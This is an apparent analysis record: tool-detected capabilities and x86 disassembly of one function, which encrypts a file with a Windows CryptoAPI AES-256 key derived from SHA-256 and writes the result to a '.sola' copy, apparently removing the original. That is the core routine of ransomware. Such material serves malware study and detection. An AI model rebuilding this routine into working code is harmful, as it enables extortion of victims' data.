Function at 0x401000
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2234
call fcn.00402440
mov eax, dword [0x422240]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str..sola
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404d40
add esp, 8
test eax, eax
jne 0x401057
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040700b
add esp, 8
test eax, eax
jne 0x40105c
jmp 0x4013a3
push 0x4220b8
mov ecx, dword [ebp + 8]
push ecx
call fcn.00407bfd
add esp, 8
mov dword [ebp - 0x221c], eax
cmp dword [ebp - 0x221c], 0
jne 0x401081
jmp 0x4013a3
mov edx, dword [ebp + 8]
push edx
push str._s.sola
push 0x100
lea eax, [ebp - 0x104]
push eax
call fcn.00402390
add esp, 0x10
push 0x4220c4
lea ecx, [ebp - 0x104]
push ecx
call fcn.00407bfd
add esp, 8
mov dword [ebp - 0x2220], eax
cmp dword [ebp - 0x2220], 0
jne 0x4010d5
mov edx, dword [ebp - 0x221c]
push edx
call fcn.00407aea
add esp, 4
jmp 0x4013a3
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 0x2224]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x401114
mov ecx, dword [ebp - 0x221c]
push ecx
call fcn.00407aea
add esp, 4
mov edx, dword [ebp - 0x2220]
push edx
call fcn.00407aea
add esp, 4
jmp 0x4013a3
lea eax, [ebp - 0x2228]
push eax
push 0
push 0
push 0x800c
mov ecx, dword [ebp - 0x2224]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x401167
push 0
mov edx, dword [ebp - 0x2224]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x221c]
push eax
call fcn.00407aea
add esp, 4
mov ecx, dword [ebp - 0x2220]
push ecx
call fcn.00407aea
add esp, 4
jmp 0x4013a3
push 0
push 0x20
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x2228]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x4011bf
mov ecx, dword [ebp - 0x2228]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov edx, dword [ebp - 0x2224]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 0x221c]
push eax
call fcn.00407aea
add esp, 4
mov ecx, dword [ebp - 0x2220]
push ecx
call fcn.00407aea
add esp, 4
jmp 0x4013a3
lea edx, [ebp - 0x222c]
push edx
push 0
mov eax, dword [ebp - 0x2228]
push eax
push 0x6610
mov ecx, dword [ebp - 0x2224]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x401224
mov edx, dword [ebp - 0x2228]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov eax, dword [ebp - 0x2224]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 0x221c]
push ecx
call fcn.00407aea
add esp, 4
mov edx, dword [ebp - 0x2220]
push edx
call fcn.00407aea
add esp, 4
jmp 0x4013a3
mov eax, dword [ebp - 0x2228]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
mov ecx, dword [ebp + 0x10]
push ecx
push 1
mov edx, dword [ebp - 0x222c]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
jne 0x401289
mov eax, dword [ebp - 0x222c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov ecx, dword [ebp - 0x2224]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edx, dword [ebp - 0x221c]
push edx
call fcn.00407aea
add esp, 4
mov eax, dword [ebp - 0x2220]
push eax
call fcn.00407aea
add esp, 4
jmp 0x4013a3
mov ecx, dword [ebp - 0x221c]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x1208]
push edx
call fcn.00407ded
add esp, 0x10
mov dword [ebp - 0x2230], eax
cmp dword [ebp - 0x2230], 0
jbe 0x40135d
mov eax, dword [ebp - 0x2230]
mov dword [ebp - 0x2234], eax
push 0x1010
lea ecx, [ebp - 0x2234]
push ecx
lea edx, [ebp - 0x2218]
push edx
push 0
mov eax, dword [ebp - 0x221c]
push eax
call fcn.00407b1a
add esp, 4
push eax
push 0
mov ecx, dword [ebp - 0x222c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x401339
mov edx, dword [ebp - 0x222c]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov eax, dword [ebp - 0x2224]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 0x221c]
push ecx
call fcn.00407aea
add esp, 4
mov edx, dword [ebp - 0x2220]
push edx
call fcn.00407aea
add esp, 4
jmp 0x4013a3
mov eax, dword [ebp - 0x2220]
push eax
mov ecx, dword [ebp - 0x2234]
push ecx
push 1
lea edx, [ebp - 0x2218]
push edx
call fcn.004081ed
add esp, 0x10
jmp 0x401289
mov eax, dword [ebp - 0x222c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov ecx, dword [ebp - 0x2224]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov edx, dword [ebp - 0x221c]
push edx
call fcn.00407aea
add esp, 4
mov eax, dword [ebp - 0x2220]
push eax
call fcn.00407aea
add esp, 4
mov ecx, dword [ebp + 8]
push ecx
call fcn.004083ad
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402424
mov esp, ebp
pop ebp
ret